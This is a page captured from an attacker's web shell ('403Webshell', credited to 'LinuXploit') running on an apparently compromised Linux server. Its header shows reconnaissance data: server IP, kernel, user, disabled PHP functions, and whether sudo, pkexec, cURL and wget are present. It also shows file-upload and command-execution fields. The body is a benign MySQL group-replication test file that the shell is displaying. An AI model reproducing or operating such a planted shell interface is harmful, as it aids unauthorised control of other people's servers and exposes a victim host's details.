403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.71.124.237
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/mysql-test/suite/group_replication/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/mysql-test/suite/group_replication/t/gr_huge_gtid_executed.test
################################################################################
# Validate that huge GTID_EXECUTED values are properly handled on distributed
# recovery, transactions certification and certification garbage collection
# procedure.
#
# Test:
# 0. The test requires two servers: M1 and M2.
# 1. Generate a huge GTID_EXECUTED with 70043 characters length. It will be
#    like:
#    aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa:10000:10002:...:120000
# 2. Set huge GTID_EXECUTED on both M1 and M2.
# 3. Bootstrap start on M2. The huge GTID_EXECUTED will be exchanged on
#    distributed recovery process on M1.
# 4. Execute some transactions and check that nothing bad happens. Validate
#    that data is delivered to both members.
# 5. Wait for stable set propagation and certification info garbage collection.
# 6. Check that stable set is properly updated after stable set propagation and
#    certification info garbage collection.
# 7. Clean up.
################################################################################
--source include/big_test.inc
--source ../inc/have_group_replication_plugin.inc
--let $rpl_skip_group_replication_start= 1
--source ../inc/group_replication.inc


--echo
--echo ################################################################
--echo # 1. Generate a huge GTID_EXECUTED with 70043 characters length.
--echo #    It will be like:
--echo #    aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa:10000:10002:...:120000
--let $gno= 100000
--let $gno_number= 10000
--let $gtid_executed_huge= aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa:$gno
while ($gno_number > 0)
{
  --let $gno= `SELECT $gno + 2`
  --let $gtid_executed_huge= $gtid_executed_huge:$gno
  --dec $gno_number
}


--echo
--echo ################################################################
--echo # 2. Set huge GTID_EXECUTED on both servers.
--let $rpl_connection_name= server2
--source include/rpl_connection.inc
--echo Set GTID_PURGED to huge gtid executed
--disable_query_log
--eval SET GLOBAL GTID_PURGED= "$gtid_executed_huge"
--enable_query_log

--let $assert_text= GTID_EXECUTED must contain all 70043 characters
--let $assert_cond= [SELECT CHAR_LENGTH(@@GLOBAL.GTID_EXECUTED)] = 70043
--source include/assert.inc


--let $rpl_connection_name= server1
--source include/rpl_connection.inc
--echo Set GTID_PURGED to huge gtid executed
--disable_query_log
--eval SET GLOBAL GTID_PURGED= "$gtid_executed_huge"
--enable_query_log

--let $assert_text= GTID_EXECUTED must contain all 70043 characters
--let $assert_cond= [SELECT CHAR_LENGTH(@@GLOBAL.GTID_EXECUTED)] = 70043
--source include/assert.inc


--echo
--echo ################################################################
--echo # 3. Start Group Replication.
--echo #    The huge GTID_EXECUTED will be exchanged on distributed
--echo #    recovery process on server1.
--let $rpl_connection_name= server2
--source include/rpl_connection.inc
--source ../inc/start_and_bootstrap_group_replication.inc

--let $rpl_connection_name= server1
--source include/rpl_connection.inc
--source include/start_group_replication.inc


--echo
--echo ################################################################
--echo # 4. Execute some transactions and check that nothing bad happens.
--echo #    Validate that data is delivered to both members.
--let $rpl_connection_name= server2
--source include/rpl_connection.inc
CREATE TABLE t1 (c1 INT NOT NULL PRIMARY KEY) ENGINE=InnoDB;
INSERT INTO t1 VALUES (1);
--source include/rpl_sync.inc

--let $rpl_connection_name= server2
--source include/rpl_connection.inc
--let $assert_text= 'There is a value 1 in table t1'
--let $assert_cond= [SELECT COUNT(*) AS count FROM t1 WHERE t1.c1 = 1, count, 1] = 1
--source include/assert.inc

--let $rpl_connection_name= server1
--source include/rpl_connection.inc
--let $assert_text= 'There is a value 1 in table t1'
--let $assert_cond= [SELECT COUNT(*) AS count FROM t1 WHERE t1.c1 = 1, count, 1] = 1
--source include/assert.inc


--echo
--echo ############################################################
--echo # 5. Wait for stable set propagation and certification info
--echo #    garbage collection.
--let $rpl_connection_name= server2
--source include/rpl_connection.inc
--let $_gtid_executed= `SELECT @@GLOBAL.GTID_EXECUTED`
--let $wait_timeout= 240
--let $wait_condition= SELECT COUNT(*)=1 FROM performance_schema.replication_group_member_stats WHERE Transactions_committed_all_members = "$_gtid_executed"
--source include/wait_condition.inc


--echo
--echo ############################################################
--echo # 6. Check that stable set is properly updated after stable
--echo #    set propagation and certification info garbage
--echo #    collection.
--let $rpl_connection_name= server2
--source include/rpl_connection.inc
--let $assert_text= 'Transactions_committed_all_members must be equal to GTID_EXECUTED'
--let $assert_cond= "[SELECT @@GLOBAL.GTID_EXECUTED]" = "[SELECT Transactions_committed_all_members from performance_schema.replication_group_member_stats]"
--source include/assert.inc

--let $rpl_connection_name= server1
--source include/rpl_connection.inc
--let $assert_text= 'Transactions_committed_all_members must be equal to GTID_EXECUTED'
--let $assert_cond= "[SELECT @@GLOBAL.GTID_EXECUTED]" = "[SELECT Transactions_committed_all_members from performance_schema.replication_group_member_stats]"
--source include/assert.inc


--echo
--echo ############################################################
--echo # 7. Clean up.
DROP TABLE t1;

--source ../inc/group_replication_end.inc

Youez - 2016 - github.com/yon3zu
LinuXploit